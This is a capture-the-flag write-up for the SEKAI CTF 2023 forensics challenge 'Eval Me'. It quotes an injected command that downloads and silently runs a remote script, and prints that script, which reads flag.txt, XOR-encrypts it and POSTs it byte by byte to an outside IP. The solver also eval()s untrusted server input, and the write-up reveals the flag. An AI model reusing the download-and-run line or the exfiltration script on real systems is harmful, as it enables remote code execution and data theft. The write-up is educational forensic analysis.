Project SEKAI CTF 2023 - Eval Me
Description
Category: Forensic
I was trying a beginner CTF challenge and successfully solved it. But it didn’t give me the flag. Luckily I have this network capture. Can you investigate?
Author: Guesslemonger
nc chals.sekai.team 9000
Resolution
1. Network capture analysis
When we quickly browse the capture with Wireshark, we notice there are some suspicious HTTP POST requests that seem to exfiltrate data:
We write a Python script to extract all the exfiltrated data:
1
2
3
4
5
6
7
8
9
10
11
12
13
import pyshark
cap = pyshark.FileCapture("/home/michel/Desktop/capture.pcapng")
data = ""
for c in cap:
try:
data += c.json.value_string
except AttributeError:
pass
print(data) # 20762001782445454615001000284b41193243004e41000b2d0542052c0b1932432d0441000b2d05422852124a1f096b4e000f
We received a hex string, but we have no information about how to decrypt it.
2. Pwntools challenge
In the description of the challenge, it mentions a pwntools challenge:
1
2
3
4
5
6
7
8
$ nc chals.sekai.team 9000
Welcome to this intro pwntools challenge.
I will send you calculations and you will send me the answer
Do it 100 times within time limit and you get the flag :)
6 / 9
Too slow
The goal is to evaluate those expressions and send the answer before the time runs out. I decided to solve it since I had no clue about how to decrypt the hex string.
Here is my code to solve it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
conn = remote("chals.sekai.team", 9000)
# Skip beginning
for _ in range(4):
print(conn.recvuntil(b"\n"))
# Solving
for _ in range(100):
prompt = conn.recvuntil(b"\n")
print(prompt)
res = eval(prompt)
conn.sendline(str(res).encode())
print(conn.recvline())
print(conn.recvline())
However, when I ran the code, there was a weird expression that I needed to evaluate:
1
b'__import__("subprocess").check_output("(curl -sL https://shorturl.at/fgjvU -o extract.sh && chmod +x extract.sh && bash extract.sh && rm -f extract.sh)>/dev/null 2>&1||true",shell=True)\r#1 + 2\n'
The challenge performed a command injection that downloads and executes a script called extract.sh
.
3. Decrypt the exfiltrated data
When we navigate to the link, it redirects us to https://storage.googleapis.com/sekaictf-2023/ab6a26cba39934bbe810f3718c4fa13f/kittens.png
, which shows us a broken PNG image.
The owner of the script seems to have disguised the script as a PNG image.
We download it and save it as extract.sh
and here is the content of the script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/bash
FLAG=$(cat flag.txt)
KEY='s3k@1_v3ry_w0w'
# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
Asc() { printf '%d' "'$1"; }
XOREncrypt(){
local key="$1" DataIn="$2"
local ptr DataOut val1 val2 val3
for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do
val1=$( Asc "${DataIn:$ptr:1}" )
val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )
val3=$(( val1 ^ val2 ))
DataOut+=$(printf '%02x' "$val3")
done
for ((i=0;i<${#DataOut};i+=2)); do
BYTE=${DataOut:$i:2}
curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
done
}
XOREncrypt $KEY $FLAG
exit 0
The script reads flag.txt
, encrypts it with the key s3k@1_v3ry_w0w
and exfiltrates it to a server with POST requests.
We already have the exfiltrated data, and now we just need to find out how to decrypt it.
Luckily there is a credit link to the original script (https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
) which has the decrypt function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
XORDecrypt() {
local key="$1" DataIn="$2"
local ptr DataOut val1 val2 val3
local ptrs
ptrs=0
for (( ptr=0; ptr < ${#DataIn}/2; ptr++ )); do
val1="$( HexToDec "${DataIn:$ptrs:2}" )"
val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )
val3=$(( val1 ^ val2 ))
ptrs=$((ptrs+2))
DataOut+=$( printf \\$(printf "%o" "$val3") )
done
printf '%s' "$DataOut"
}
We can now decrypt the exfiltrated data using the following script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
Asc() { printf '%d' "'$1"; }
HexToDec() { printf '%d' "0x$1"; }
XORDecrypt() {
local key="$1" DataIn="$2"
local ptr DataOut val1 val2 val3
local ptrs
ptrs=0
for (( ptr=0; ptr < ${#DataIn}/2; ptr++ )); do
val1="$( HexToDec "${DataIn:$ptrs:2}" )"
val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )
val3=$(( val1 ^ val2 ))
ptrs=$((ptrs+2))
DataOut+=$( printf \\$(printf "%o" "$val3") )
done
printf '%s' "$DataOut"
}
XORDecrypt "s3k@1_v3ry_w0w" "20762001782445454615001000284b41193243004e41000b2d0542052c0b1932432d0441000b2d05422852124a1f096b4e000f"
which gives us the flag: SEKAI{3v4l_g0_8rrrr_8rrrrrrr_8rrrrrrrrrrr_!!!_8483}
.